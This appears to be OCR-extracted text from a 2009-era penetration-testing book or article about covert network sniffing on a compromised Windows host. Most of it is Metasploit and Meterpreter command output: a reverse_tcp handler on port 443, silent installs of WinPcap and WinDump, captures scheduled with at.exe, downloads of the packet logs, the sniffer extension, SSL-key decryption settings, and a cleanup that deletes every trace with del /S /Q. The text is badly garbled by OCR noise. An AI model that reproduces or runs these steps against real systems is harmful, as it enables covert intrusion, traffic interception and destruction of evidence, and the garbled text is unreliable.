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0 — disabled (strip 802.1q tags)
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[ gate_capture_vlans.pcap - Wireshark ;lglil

Eile Edit Miew Go Capture Analyze 3tatistics  Telephony Tools Help

SEee PEAXEL AsreTFL(ERIQAQAAD | EDW % E

Fiter: | ~  Expression... Clear Apply
Mo - | Tirne: | Sourcs | Destination | Protocol | Info |ﬁ
15 2009-05-10 07:43:39.426279 172.20.1.201 172.29.255.255 ICMP Echo (ping) reguest

16 2008-05-10 07:4 9.706131 172.209.1.201 172.29.255.255 ICMP Echo (ping) reguest

17 2009-05-10 07:4 0.248470 0.0.0.0 255.255.255. 255 DHCP DHCP Discover - Transaction ID Ox554c00a5

18 2009-05-10 07:4 4.2481056 0.0.0.0 255.255.255. 255 DHCP DHCP Discover - Transaction ID Ox554c00a5

15 2009-05-10 07:4 1.247961 0.0.0.0 255.255.255. 255 DHCP DHCP Discover - Transaction ID Ox554c00as
2.699312 Cisco_25 0 Broadcast ARP who has 152.168.1.17 Tell 192.168.1.100

20 200%9-05-10 07

22 152 ARP B ol 11 s 21.251 -
23 2009-05-10 .979560 wmware_ah:12:34 Broadcast ARP Gratuitous arp for 192.168.1.17 (Request)

24 2009-05-10 .989422 192.168.1.17 224.0.0.22 IGMP v3 membership rReport / Join group 239.255.255.250 for any sourc
25 2009-05-10 .671703 vmware_0f:<9:30 Broadcast ARP who has 172.29.1.17 Tell 172.29.1.201 =

Frame 21 (64 bytes on wire, 64 bytes captured)
Etharnet II, src: Cisco_25:dc:99 (00:19:aa:25:dc:99), Dst: Cisco_25:dc:90 (00:18:3a:25:cdc:00)
= &02.1q wirtual LAN, PRI: O, CFI: 0, ID: 20

000, .... vvew .... = Priority: 0

.. CFI: O

... 0000 C (
Type: ARP (0x0DB06)
Trailer: 000000000000000000000000000000000000
Address resolution Protocol (reply)

0000 00 19 aa 25 dc 90 00 19 aa 25 dc 99 81 00

0010 ©8 06 00 01 OB Q0 06 04 00 02 00 19 aa 25 dc 98
0020 <0 a8 01 01 00 19 aa 25 dc 90 cO a8 01 64 00 00
0030 00 00 00 00 00 Q0 00 QO 00 OO0 00 00 Q0 00 00 OO

Q[ WLAN ID (vlan.id), 2 bytes Packats: 30 Displayed: 30 Marked: 0 Profile: Default
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# modprobe 8021q

# cd vlan

# ./vconfig add ethO 20
# ifconfig eth0.20 up
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C:\Scylla> rundli32.exe zipfldr.dll,RouteTheCall nm

ap-4.85BETA9-win32.zip
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[*] Transmitting intermediate stager for over-sized
[*] Sending stage (2650 bytes)

[*] Sleeping before handling stage...

[*] Uploading DLL (75787 bytes)...

[*] Upload completed.

[*] Meterpreter session 1 opened (hacking:443 -> ge

msf exploit(handler) > sessions -i 1
[*¥] Starting interaction with 1...

meterpreter > getuid

Server username: GENERAL-DESKTOP\Administrator

meterpreter > sysinfo

Computer: GENERAL-DESKTOP

OS :Windows Vista (Build 6002, Service Pack 2
meterpreter > pwd

(Oh

meterpreter > cd Scylla

meterpreter > Is

Listing: C:\Scylla

Mode S ize Type Last modified
40777 /rwxrwxrwx 0 dir Sun May 17 10:29:0
40777 /rwxrwxrwx 0 dir Sun May 17 10:29:0
100777/rwxrwxrwx 569344 fil Sun May 17 10:29:0
100666/rw-rw-rw- 6783750 fil Sun May 17 10:29:0
4.85BETA9-win32.zip

meterpreter >

stage...(191 bytes)

neral-desktop:1705)

Name

9 - 0900 2009 .

9 - 0900 2009 ..

9 - 0900 2009 WinDump.exe
9 -0900 2009 nmap-

$ 9 4%




meterpreter > |pwd
/pentest/exploits/framework3
meterpreter > Icd /root
meterpreter > upload 7za.exe
[*] uploading : 7za.exe -> 7za.exe
[*] uploaded : 7za.exe -> 7za.exe
meterpreter > Is

100777/rwxrwxrwx 536064 fil Sun May 17 19:29:0 9- 0900 2009 7za.exe

meterpreter >

7 % $ $8+ ,E %&8 3-?% 8?7 %
7 ? 558 #= $38 % 8+!1-7F
meterpreter > execute —H -f C:/Scylla/7za.exe -a "e nmap-4.85BETA 9-win32.zip

nmap-4.85BETA9/winpcap-nmap-4.02.exe"
Process 1056 created.

meterpreter > Is

160777/rwxrwxrwx 391516 fil Sun May 17 19:30:0 9 -0900 2009 winpcap-
nmap-4.02.exe

meterpreter >

| 5$$# = * # = # =
)6G 2 * F

meterpreter > execute —H -f winpcap-nmap-4.02.exe -a "/S"
Process 708 created.

meterpreter > Is "C:/Program Files/Winpcap"

Listing: C:/Program Files/Winpcap

Mode Size Type Last modified Name
40777/rwxrwxrwx O  dir Sun May 17 19:31:09 -0900 2009 .
40555/r-xr-xr-x 0 dir Sun May 17 19:31:09 -0900 2009 ..
100666/rw-rw-rw- 13613 fil Sun May 17 19:31:09 -0900 2009 LICENSE
100777/rwxrwxrwx 92792 fil Sun May 17 19:31:09 -0900 2009 rpcapd.exe
100777/rwxrwxrwx 59575 fil Sun May 17 19:31:09 -0900 2009 uninstall.exe

meterpreter >




% $ $ =3 A $ 3
$ = $ =
# = $ 8 5
# * * )8 2 $ = F
meterpreter > execute —H -f WinDump.exe -a "-D" -i

Process 840 created.

Channel 1 created.

1.\Device\NPF_GenericDialupAdapter (Adapter for gen
capture)
2.\Device\NPF_{33A88C60-DCA6-4257-84A9-96487FDF6047
PCNet Adapter (Microsoft's Packet Scheduler) )

eric dialup and VPN

} (VMware Accelerated AMD

9 8 5 $7 5 | G-
$ 7
9 8 ) $ 2
$ 2 = 8
$ 7
$ $ ) 2F
meterpreter > execute —H -c -f WinDump.exe -a "-D"

Process 3364 created.
Channel 2 created.
meterpreter > channel -I

Id Class Type

2 3 stdapi_process

meterpreter > read 2
Read 179 bytes from 2:

1.\Device\NPF_{21D22FCB-2FB4-4253-A285-89F81190A674
Network Connection)
2.\Device\NPF_{860A39C0-61D7-4D3B-B59E-20B660B5FB5F
Driver)

} (Intel(R) PRO/1000 MT

} (MS Tunnel Interface
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meterpreter > execute -H -f WinDump.exe -a "-i1 -n -U -s0 -C 10 - ¢ 200000 -w

KB961260.log"
Process 780 created.

$= & 7 = @ *
$% G= * = $*
4 * * % $
*# 5 & 7 =) # 2 #=
) 2 $ & =# F
meterpreter > execute -H -f at.exe -a "09:00AM C:/Scylla/WinDump. exe -il -n -

U -s0 -C 10 -c 200000 -w C:/Scylla/KB961260.log"
Process 3692 created.

meterpreter > execute -c -H -f at.exe
Process 3744 created.
Channel 17 created.




meterpreter > read 17
Read 242 bytes from 17:

Status ID Day Time C

1 Tomorrow 9:00
s0 -C 10 -c 200000 C:/Scylla/KB961260.log"

meterpreter >

ommand Line

C:/Scylla/WinDump.exe -il -n -U

meterpreter > Is

Listing: C:\Scylla

Mode Size Type Last modified

40777 /rwxrwxrwx 0O dir Sun May 18 09:01:0
40777 /rwxrwxrwx O dir Sun May 18 09:01:0
100777/rwxrwxrwx 536064 fil Sun May 17 19:29:0
100777/rwxrwxrwx 569344 fil Sun May 17 10:29:0
100666/rw-rw-rw- 16986 fil Sun May 18 09:01:0
100666/rw-rw-rw- 6783750 fil Sun May 17 10:29:0
win32.zip

Name
0 -0900 2009 .
0 -0900 2009 ..
9 -0900 2009 7za.exe
9-0900 2009 WinDump.exe
0 -0900 2009 KB961260.log
9 -0900 2009 nmap-4.85BETA9-

100777/rwxrwxrwx 391516 fil Sun May 17 19:30:0 9-0900 2009 winpcap-nmap-4.02.exe
meterpreter >
$ # 0$ $ 5 $7
* $ $ ?
# 7 5 %
< $
@ A $3% % *F

meterpreter > Is
Listing: C:\Scylla
Mode Size  Type Last modified Name
40777 /rwxrwxrwx 0 dir Sun May 18 09:30:0 0-0900 2009 .
40777 /rwxrwxrwx O dir Sun May 18 09:30:0 0-0900 2009 ..

100777/rwxrwxrwx 536064 fil Sun May 17 19:29:0
100777/rwxrwxrwx 569344 fil Sun May 17 10:29:0
100666/rw-rw-rw- 10000574 fil Sun May 18 09:01:
100666/rw-rw-rw- 10000103 fil Sun May 18 09:10:
100666/rw-rw-rw- 10000068 fil Sun May 18 09:20:

9 -0900 2009 7za.exe
9-0900 2009 WinDump.exe
00 -0900 2009 KB961260.log
00 -0900 2009 KB961260.log1
00 -0900 2009 KB961260.l0g2

<--




100666/rw-rw-rw- 1838508 fil Sun May 18 09:30:

100666/rw-rw-rw- 6783750 fil Sun May 17 10:29:0
win32.zip

100777/rwxrwxrwx 391516 fil Sun May 17 19:30:0

meterpreter >

00 -0900 2009 KB961260.log3
9-0900 2009 nmap-4.85BETA9-

9-0900 2009 winpcap-nmap-4.02.exe

* 5 $
# )8 2 K
# )>6,12 % ) > 6++32F
meterpreter > execute —H -f WinDump.exe -a "-n -r KB961260.log -c 50 tcp port

80" -i
Process 760 created.
Channel 3 created.

09:01:34.865507 IP 10.10.10.91.1664 > 10.10.20.94.8
64240 <mss 1460,nop,nop,sackOK>

09:01:34.868208 IP 10.10.20.94.80 > 10.10.10.91.166
3973779575 win 5840 <mss 1460,nop,nop,sackOK>
09:01:34.871203 IP 10.10.10.91.1664 > 10.10.20.94.8
10:18:34.928218 IP 10.10.10.91.1664 > 10.10.20.94.8
09:01:34.928547 IP 10.10.20.94.80 > 10.10.10.91.166

0: S 3973779574:3973779574(0) win
4: S 3159208505:3159208505(0) ack
0: . ack 1 win 64240

0: P 1:390(389) ack 1 win 64240
4: . ack 390 win 6432

.r-éading from file KB961260.log, link-type EN10MB (E thernet)

C # 2)82 % * )82

| T&(-! HU( A= 2 #

= # TF

meterpreter > |pwd

/root

meterpreter > download KB961260.log

[*] downloading: KB961260.log -> KB961260.log

[*] downloaded : KB961260.log -> KB961260.log

K #7) $ $
$ =2 $ # #




# pwd
[root
# Is -1 KB961260.log

-rw-r--r-- 1 root root 10000574 May 18 09:37 KB961260.log

# tcpdump -n -r KB961260.log -c 2

reading from file KB961260.log, link-type EN10MB (E
09:01:23.009938 IP 10.10.10.90 > 10.10.20.94: ICMP
630, length 40

09:01:23.010173 IP 10.10.20.94 > 10.10.10.90: ICMP

thernet)
echo request, id 1, seq

echo reply, id 1, seq 630,

length 40

#

K — * * — $

= =$ = 5% * $
= # F

meterpreter > pwd

C:\Scylla

meterpreter > cd "C:/Program Files/Winpcap"

meterpreter > pwd

C:\Program Files\Winpcap

meterpreter > Is

Listing: C:\Program Files\Winpcap

Mode Size Type Last modified Name

40777/rwxrwxrwx O  dir Sun May 17 19:31:09 -0900 2009 .

40555/r-xr-xr-x 0  dir Sun May 17 19:31:09 -0900 2009 ..

100666/rw-rw-rw- 13613 fil Sun May 17 19:31:09
100777/rwxrwxrwx 92792 fil Sun May 17 19:31:09
100777/rwxrwxrwx 59575 fil Sun May 17 19:31:09

meterpreter > execute —H -f uninstall.exe -a “/S”
Process 820 created.

meterpreter > cd ..

meterpreter > rmdir Winpcap

Removing directory: Winpcap
meterpreter >

-0900 2009 LICENSE
-0900 2009 rpcapd.exe
-0900 2009 uninstall.exe

| 58$% #




meterpreter > pwd

C:\Scylla

meterpreter > execute -H -f cmd.exe -a "/C del /S /Q *.*"
Process 3900 created.

Channel 4 created.

meterpreter > Is

Listing: C:\Scylla

Mode Size Type Last modified Name
;1-(-)-777/rwxr\-/\-/;<-rvx-/;<“0 ----- d |rSun May 18 09:30:00 -0 900 20-(-3-9-) .
40777/rwxrwxrwx O  dir Sun May 18 09:30:00 -0 900 2009 ..
meterpreter > cd ..
meterpreter > rmdir Scylla
Removing directory: Scylla
meterpreter >
4 $ $ 5 $65% 9% &"
$ . $ @ A $3$ #o#*
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$ $% = > ), * 2 # 14
)4%> NFI>F-&2 = (1 (' &)!'F I>F-&F EF F;>2

(1 (! -! &+ )IIFI>F-&FE F ,F>%2 * $ >6++3
5 # # $ @

# G $ )#8 2F

Display filker: none

% Packets

=l Ethernet 197 124267 0,016

= Internet Protocol 197 124267 0,016 ] ] 0,000
=l Transmission Contral Pratocol 197 124267 0,016 151 100750 0,013
Secure Socket Layer 45 23517 0,003 46 23917 0,003

7l Conversations: capture.pcap - |E||i|

|IP>< IJXTF\ INCP |RS‘\.I'P |SCTP ITCF‘: i |T0ken Rirng |UDP |USB |WLF\N |

Ethernet: 1 |Fibre Channe! |FDDI

IPv4 Conversations

Address A | Address B | Packets - | Eiwtes | Packets A-=EB | Bytes A-=B | Packets A<-B | Biwkes A<-B | Rel Start | Duration | bps A-=B | bps A<-B |
10,10.10,91 10.10.20,94 197 124267 72 8651 125 115616 0.000000000 62,9784 1095,92 14686,43

¥ Name resalution [ Limit ko display Filker

w | o |

7 Conversations: capture.pcap = |EI|1|

| Taken Ring | LD | 56 | LA |

Ethernet: 1 |Fibre Chianmnel | FOOT |IPV4: 1 |IPX |JXTA |NCP |RSVP |SCTP

TCP Conversations
Address & | Port & | Address B | Port B | Packets - | Bytes | Packets A-=B | Bytes A- =B | Packets A<-B | Bytes 4<-B | Rel Start: | Duration | bps A-=B | bps A<-B |
10,10,10,91 49167  10,10.20.94 https 12 1069 & 562 & s07 14.635288000 0,0585 THES4,70 69333,33
10,10,10,91 49166  10,10.20.94 https 13 1953 7 725 & 1225 0.000000000 12,4861 464,52 786,79
10,10,10,91 49168  10,10.20.94 https 14 2769 7 1051 7 1655 14.695244000 0,0286 S02176,85 471854,36
10.10.10.91 49170 10.10.20.94 https 14 1932 7 911 7 1021 14969657000 0,0273 261969,81 293601,73
10,10,10,91 49172 10,10.20.94 https 15 2907 7 1260 g 1647 50765904000 12,1496 529,65 1054,45
10,10,10,91 49171 10,10.20.94 https 25 14571 10 1305 15 13263 19.514296000 1,58320 5711,85 57917,66
10,10,10,91 49173 10,10.20.94 https 38 29528 13 1344 25 28484 62926859000 0,0516 208493,31  4418693,04
10.10.10,91 49169 10.10.20.94 https ) 69235 15 1460 51 67775 14729442000 0,1574 T4221,858  3445623,55
[+ Mame resolution [ Limit to display Filker




Certificate

General | petails | Certification Path |

21X

@x’ Certificate Information

Authorities store.

This CA Root certificate is not trusted. To enable trust,
install this certificate in the Trusted Root Certification

Issued to:

¥alid from 27/05/2009 to

v scvllacodes.com

Issued by: wwww scyllacodes.com

25/05/2019

Install Certificate.

| Issuer Statement |

G)>6++32

YOG *( $

#=C

=2 K

Certificate 2=l

General Details |Certificati0n Path I

Shaw; |<P.II> j
Field | ‘alue -
E\fersion W3
[P serial number 00 c4 4d fF FO 91 14 F7 37
ESignature algorithm  shalRSA
I—|valid fram miércoles, 27 de mava de 2009 19:05:00  —
[Fvalid to sébado, 25 de mayo de 2019 19:05:00
ESubject w, scyllacodes.com, Headguarters, T...
Elrublic key RSA (1024 Bits) =

Ol = Headquarters
0 = TheCompany

M = v, scyllacodes. com

Edit: Froperties... |

Copy ko File... |

5 #

) *9 % $
CG% F
8 GGO #

*

#

(¢-1&+++3 $ FV *

=$ GGO

=2 $*

GGO

G$

74l Wireshark: Preferences - Profile: Default 1ol x|
el o
;I -Secure Socket Laver
5H
AL Reassemble 551 records spanning multiple TR segments: W)
STANAG 5066 Reassemble 551 Application Data spanning mulkiple S5L records: [
StarTeam
SR RS kevs list: IID. 10,2094, 443, http, E:\kerver key
e 551 debug File: I
SYNCHROPHASCOR,




K GG0$ 5 $ = =$ =$ #

=$ $ =$ ) '332F
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@ A $3$((¢& ##
9 7% ;) $% %G 1 * *- *32
5 /I 3"F
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0
SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NE T CLR
3.0.04506)
5 8 # G$ )2 5 M
# #$ 6((

= # *  &FIF-+F

GET /[ HTTP/1.1

Host: www.scyllacodes.com




#ox (1(1- &+ # %$ .-,  6E-&
)$ GGO %/ 2 D 7F

Server:  Apache/2.2.8 (Unix) mod_ssl/2.2.8 OpenSSL/0.9.8g DAV/2
PHP/5.2.9
#9$ ? $ * @9
6 6 >$= 2 $ * =$ #
* ) $F66* $ = 6% * = 2 % =
$ $$9 * $ *
) 2 IG . F
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<title>The Company</title>
</head>
<body bgcolor=#ffffff text=#000000 link=#0000cc vli nk=#551a8b
alink=#ff0000 topmargin=3 marginheight=3>
<center>

<br clear=all>

<a href="  .[file.zip "><img src="  ./logos/TheCompany.gif " border=0
alt="The Company" title="The Company"></a>
<br><br>

<p align=center>

<form action="./code.php" name="code" method= POST

<table cellpadding=0 cellspacing=0>

<tr valign=top><td align=center nowrap>

<input _ autocomplete="off" maxlength=32 name=code size=55 title="Enter
Code" value=""><br>

<input type=submit value="Submit Code">

</td></tr>

</table></form>

<br>

<p><font size=-2>&copy;2009 - <a
href="http://voip.scyllacodes.com/privacy.html| ">Privacy</a></font></p>

</center>
</body>
</html>
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K = I1&FI(F(-)+3 $ * EPEEY
i '(E3 * (&t (1(+(3 |E E3#(3E(3; (F

POST /code.php HTTP/1.1

Accept: image/qif, image/x-xbitmap, image/jpeg, ima gelpjpeg,
application/x-ms-application, application/vnd.ms-xp sdocument,
application/xaml+xml, application/x-ms-xbap, */*

Referer: https://www.scyllacodes.com/

Accept-Language: es

Content-Type: application/x-www-form-urlencoded

UA-CPU: x86

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Wind ows NT 6.0;
SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NE TCLR
3.0.04506)

Host: www.scyllacodes.com
Content-Length: 37
Connection: Keep-Alive
Cache-Control: no-cache

code=6189db841f01413a05a53b7135137al17

# * % #$ $
$$% $ @9K
)6 6G= 2 $ x 9
$* = $*=3%

* ) $F66* $ = 6$ * = 2F




<html>

<head>

<meta http-equiv="content-type" content="text/htmi; charset=UTF-8">
<title>Scylla</title>

</head>

<body bgcolor=#ffffff text=#000000 link=#0000cc vli nk=#551a8b
alink=#ff0000 topmargin=3 marginheight=3>
<center>

<br clear=all>

<a href="  ./logs.php  "><img src="  ./logos/Scylla.gif " border=0
alt="Scylla" title="Scylla"></a>
<br><br>

<p align=center>
<table cellpadding=0 cellspacing=0>
<tr valign=top><td align=center nowrap>

<font size=3 color=green>
<b>VERIFICATION OK: The code (6189db841f01413a05a53b71 35137al7)is

valid!  </b>
</font>
<p><a href="  ./logs.php _ ">The code has been logged (214 bytes)...</a>

<ftd></tr>
</table>
<br>

<p><font size=-2>&copy;2009 - <a

href="http://voip.scyllacodes.com/privacy.html ">Privacy</a></font></p>
</center>
</body>
</html>
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=[ msf v3.3-dev [core:3.3 api:1.0]
+ -- --=[ 403 exploits - 248 payloads
+ -- --=[ 21 encoders - 8 nops

=[ 188 aux

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpre ter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.1.17

LHOST =>192.168.1.17

msf exploit(handler) > set LPORT 443

LPORT => 443

msf exploit(handler) > set ExitOnSession false

ExitOnSession => false

msf exploit(handler) > exploit -j

[*] Exploit running as background job.

msf exploit(handler) >

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*¥] Starting the payload handler... <-- Waiting for a connection

[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.1.17:443 ->10.10.10.90:49157)

msf exploit(handler) > sessions -|

Active sessions




Id Description Tunnel

1 Meterpreter 192.168.1.17:443 ->10.10.10.90:

msf exploit(handler) > sessions -i 1
[*¥] Starting interaction with 1...

meterpreter >
meterpreter > use sniffer
Loading extension sniffer...success.

meterpreter > help

é.niffer Commands

Command Description

sniffer_dump Retrieve captured packet da
sniffer_interfaces Enumerate all sniffable net
sniffer_start Start packet capture on a s
sniffer_stats View statistics of an activ
sniffer_stop Stop packet capture on a sp

meterpreter > sniffer_interfaces

1 - 'Intel(R) PRO/1000 MT Network Connection' ( typ
dhcp:false wifi:false )

2 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1
wifi:false )

meterpreter > sniffer_start 1 100000
[*] Capture started on interface 1 (100000 packet b

meterpreter > sniffer_stats 1
[*] Capture statistics for interface 1
bytes: 1388
packets: 20

meterpreter > sniffer_dump 1 /tmp/capture.pcap
[*] Flushing packet capture buffer for interface 1.

[¥] Flushed 23 packets (2208 bytes)

[*] Downloaded 100% (2208/2208)...

[*] Download completed, converting to PCAP...

[*] PCAP file written to /tmp/capture.pcap

49157

ta to PCAP file

work interfaces
pecific interface
e capture

ecific interface

e:0 mtu:1514 usable:true

514 usable:true dhcp:false

uffer)

L $ $$




meterpreter > sniffer_stats 1
[*] Capture statistics for interface 1
bytes: 1490
packets: 22

meterpreter > sniffer_dump 1 /tmp/capture.pcap

[*] Flushing packet capture buffer for interface 1.
[¥] Flushed 22 packets (1930 bytes)

[*] Downloaded 100% (1930/1930)...

[*] Download completed, converting to PCAP...
[*] PCAP file written to /tmp/capture.pcap

meterpreter > sniffer_stop 1
[*] Capture stopped on interface 1
meterpreter >

$
)6 $6$ $ $2 $ *

# cd /tmp
# Is -I capture.pcap
-rw-r--r-- 1 root root 2140 Sep 17 23:02 capture.pc

# capinfos capture.pcap

File name: capture.pcap

File type: Wireshark/tcpdump/... - libpcap
File encapsulation: Ethernet

Number of packets: 23

File size: 2140 bytes

Data size: 1748 bytes

Capture duration: 38.000000 seconds
Start time: Thu Sep 17 23:01:43 2009
End time: Thu Sep 17 23:02:21 2009
Data rate: 46.00 bytes/s

Data rate: 368.00 bits/s

Average packet size: 76.00 bytes

#Is -l capture.pcap
-rw-r--r-- 1 root root 3982 Sep 17 23:03 capture.pc

# capinfos capture.pcap

Number of packets: 45

File size: 3982 bytes

Data size: 3238 bytes

Capture duration: 91.000000 seconds

ap

ap

<--23+22=45
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